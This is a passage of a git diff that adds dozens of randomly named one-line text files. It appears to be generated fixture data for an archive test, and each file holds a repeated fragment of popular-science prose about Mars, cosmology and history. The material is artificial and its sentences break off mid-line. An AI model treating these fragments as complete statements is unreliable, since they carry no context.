index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_obvolqmgskfesbie.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_olzhtecbkkypsxewvzwgz.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_olzhtecbkkypsxewvzwgz.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_olzhtecbkkypsxewvzwgz.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_ppwkjjqfiskabkv.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_ppwkjjqfiskabkv.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_ppwkjjqfiskabkv.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_qoekfvftmgownfclyv.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_qoekfvftmgownfclyv.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_qoekfvftmgownfclyv.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_rwztxwzbkotyceuqwmjw.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_rwztxwzbkotyceuqwmjw.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_rwztxwzbkotyceuqwmjw.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_ubjbntzpzbcvjdb.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_ubjbntzpzbcvjdb.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_ubjbntzpzbcvjdb.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_ucxyxnarmpuvtqdi.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_ucxyxnarmpuvtqdi.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_ucxyxnarmpuvtqdi.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_umabapjwywvxj.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_umabapjwywvxj.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_umabapjwywvxj.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_vnbqvavfgjrucjuzyvyuwl.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_vnbqvavfgjrucjuzyvyuwl.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_vnbqvavfgjrucjuzyvyuwl.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_yhamiuzppihd.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_yhamiuzppihd.txt
new file mode 100644
index 0000000..9d19074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/file_yhamiuzppihd.txt
@@ -0,0 +1 @@
+- An Eskimo creation myth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/fqnemjofiaq.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/fqnemjofiaq.txt
new file mode 100644
index 0000000..582a0a5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/fqnemjofiaq.txt
@@ -0,0 +1 @@
+We can imagine generating a cube in the following way: Take a line segment of a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/htkufyaous.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/htkufyaous.txt
new file mode 100644
index 0000000..70ccc92
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/htkufyaous.txt
@@ -0,0 +1 @@
+thunder is deep and loud; the lightning is brief and bright. Maybe someone very powerful is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/hzntfaarwdn.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/hzntfaarwdn.txt
new file mode 100644
index 0000000..159a997
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/hzntfaarwdn.txt
@@ -0,0 +1 @@
+second. When we look up at night and view the stars, everything we see is shining because
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/kaknfigelvfxuhlqodivn.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/kaknfigelvfxuhlqodivn.txt
new file mode 100644
index 0000000..2b0170f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/kaknfigelvfxuhlqodivn.txt
@@ -0,0 +1 @@
+been almost eliminated in a stirring planet-wide revolution. Women, patronized for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/lanywgzmktyutd.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/lanywgzmktyutd.txt
new file mode 100644
index 0000000..ec95d4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/lanywgzmktyutd.txt
@@ -0,0 +1 @@
+parachute and fired its retro-rockets near the end of its descent path. According to the data
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ozqtsmfsgdczjnb.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ozqtsmfsgdczjnb.txt
new file mode 100644
index 0000000..546d04e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ozqtsmfsgdczjnb.txt
@@ -0,0 +1 @@
+appreciated? I sometimes think we might then have saved ten or twenty centuries. Perhaps
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/pnaihtyiimhdn.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/pnaihtyiimhdn.txt
new file mode 100644
index 0000000..7c9ca83
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/pnaihtyiimhdn.txt
@@ -0,0 +1 @@
+The heart of the library was its collection of books. The organizers combed all the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ppjezieacollpurfcbjfdiaj.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ppjezieacollpurfcbjfdiaj.txt
new file mode 100644
index 0000000..f90750f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ppjezieacollpurfcbjfdiaj.txt
@@ -0,0 +1 @@
+He was rather a Judaic Monotheist of the school of Maimonides. He arrived at this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/qboumhvegozyetuq.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/qboumhvegozyetuq.txt
new file mode 100644
index 0000000..9746f71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/qboumhvegozyetuq.txt
@@ -0,0 +1 @@
+still in Chryse but far from the confluence of the four ancient channels. The delay prevented
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ryvxnoxigmlqjpnhvv.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ryvxnoxigmlqjpnhvv.txt
new file mode 100644
index 0000000..eea9270
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ryvxnoxigmlqjpnhvv.txt
@@ -0,0 +1 @@
+alignment of window and niche on June 21, say. But there are other devices wonderfully
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/spynbpbqui.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/spynbpbqui.txt
new file mode 100644
index 0000000..6824f91
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/spynbpbqui.txt
@@ -0,0 +1 @@
+the imperial throne. Their decisive naval encounter, with the Emperor on board ship,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ukosutsxep.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ukosutsxep.txt
new file mode 100644
index 0000000..22441cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ukosutsxep.txt
@@ -0,0 +1 @@
+is, incidentally, one answer to the question of what evolution was doing between the origin of the cell and the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/vesukyphatpjvqzhavd.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/vesukyphatpjvqzhavd.txt
new file mode 100644
index 0000000..24e25f1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/vesukyphatpjvqzhavd.txt
@@ -0,0 +1 @@
+spokesman as reported in the London Observer for February 26, 1978: ‘Any messages transmitted from outer
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/xihufntwkwz.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/xihufntwkwz.txt
new file mode 100644
index 0000000..b3eec73
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/xihufntwkwz.txt
@@ -0,0 +1 @@
+would come together to make a picture in the sky. One of us could see the pictures better
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ydqbnhrqz.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ydqbnhrqz.txt
new file mode 100644
index 0000000..b8f2f40
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/ydqbnhrqz.txt
@@ -0,0 +1 @@
+packs. The enormous distended udders of dairy cattle are the result of a human interest in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/yntskbjwfhtzikscjqebmkq.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/yntskbjwfhtzikscjqebmkq.txt
new file mode 100644
index 0000000..815c11b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/yntskbjwfhtzikscjqebmkq.txt
@@ -0,0 +1 @@
+larger, roughly circular slices. The square sees a point appearing in a closed room in his
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/zeydxkhfqipgbpfnjgt.txt b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/zeydxkhfqipgbpfnjgt.txt
new file mode 100644
index 0000000..fef79fb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ofovjtgpwa/folder_oyfaotkxge/folder_rnuosrbeva/zeydxkhfqipgbpfnjgt.txt
@@ -0,0 +1 @@
+awe. Theophrastus was right. Those afraid of the universe as it really is, those who pretend
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_bwbtewgafqtmgcvesanrx.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_bwbtewgafqtmgcvesanrx.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_bwbtewgafqtmgcvesanrx.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_cbmmovjyzlgwnjlzgnl.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_cbmmovjyzlgwnjlzgnl.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_cbmmovjyzlgwnjlzgnl.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_cmyyjcuwlvcjzcsd.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_cmyyjcuwlvcjzcsd.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_cmyyjcuwlvcjzcsd.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_fhajjcjzkhvsywpnrxykxcd.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_fhajjcjzkhvsywpnrxykxcd.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_fhajjcjzkhvsywpnrxykxcd.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_hipeadolvf.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_hipeadolvf.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_hipeadolvf.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_icjhfgrwrdqxgahjersykqkj.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_icjhfgrwrdqxgahjersykqkj.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_icjhfgrwrdqxgahjersykqkj.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_jmvirkuzlzdazivrb.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_jmvirkuzlzdazivrb.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_jmvirkuzlzdazivrb.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_mbfevmirhuawedrwvv.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_mbfevmirhuawedrwvv.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_mbfevmirhuawedrwvv.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_nkupakiwsebjdvrxciixdyby.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_nkupakiwsebjdvrxciixdyby.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_nkupakiwsebjdvrxciixdyby.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_ogfqrtqg.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_ogfqrtqg.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_ogfqrtqg.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_sqacpcapymrjynxqtb.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_sqacpcapymrjynxqtb.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_sqacpcapymrjynxqtb.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_svvpbegzgjspfdktjciys.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_svvpbegzgjspfdktjciys.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_svvpbegzgjspfdktjciys.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_ufkifdaitjsxzyntrvhhzkut.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_ufkifdaitjsxzyntrvhhzkut.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_ufkifdaitjsxzyntrvhhzkut.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_wfpnrhacjkotbwnykczhxfe.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_wfpnrhacjkotbwnykczhxfe.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_wfpnrhacjkotbwnykczhxfe.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/file_wlbdopdonmaegu.txt b/big_zip/big-zip-files/folder_oujhxaidup/file_wlbdopdonmaegu.txt
new file mode 100644
index 0000000..f641697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/file_wlbdopdonmaegu.txt
@@ -0,0 +1 @@
+There is another way to investigate Mars and the full range of delights and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_algiprna.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_algiprna.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_algiprna.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_copoeotcchenhqdnhyjzfj.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_copoeotcchenhqdnhyjzfj.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_copoeotcchenhqdnhyjzfj.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_cxawbyacskfhtynhzcpqrvy.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_cxawbyacskfhtynhzcpqrvy.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_cxawbyacskfhtynhzcpqrvy.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_jyokixpvrdbrtnravqacu.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_jyokixpvrdbrtnravqacu.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_jyokixpvrdbrtnravqacu.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_kmwlavgfnhgii.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_kmwlavgfnhgii.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_kmwlavgfnhgii.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_nqvzsehotekncxhgtdesbd.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_nqvzsehotekncxhgtdesbd.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_nqvzsehotekncxhgtdesbd.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_qhxoeuysyyrgdgc.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_qhxoeuysyyrgdgc.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_qhxoeuysyyrgdgc.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_qlipefjbtmrhof.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_qlipefjbtmrhof.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_qlipefjbtmrhof.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_rteutvyugfym.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_rteutvyugfym.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_rteutvyugfym.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_skhgytruuputnyz.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_skhgytruuputnyz.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_skhgytruuputnyz.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_stmaevjgscenhefaet.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_stmaevjgscenhefaet.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_stmaevjgscenhefaet.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_wpdqtakutlldezzqga.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_wpdqtakutlldezzqga.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_wpdqtakutlldezzqga.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_xznkdjaelvnjvrkpnqblamnb.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_xznkdjaelvnjvrkpnqblamnb.txt
new file mode 100644
index 0000000..e9699d9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/file_xznkdjaelvnjvrkpnqblamnb.txt
@@ -0,0 +1 @@
+itself was expanding, carrying the galaxies with it. Humason and Hubble, it gradually
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_aceccxzuigeoyek.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_aceccxzuigeoyek.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_aceccxzuigeoyek.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_asvhpqgnacp.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_asvhpqgnacp.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_asvhpqgnacp.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_asvrvacpqsula.txt b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_asvrvacpqsula.txt
new file mode 100644
index 0000000..3dfc2e3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oujhxaidup/folder_evynhrvjky/folder_twuipgnfgw/file_asvrvacpqsula.txt
@@ -0,0 +1 @@
+Carl Sagan died in December 1996.CARL SAGAN
\ No newline at end of file
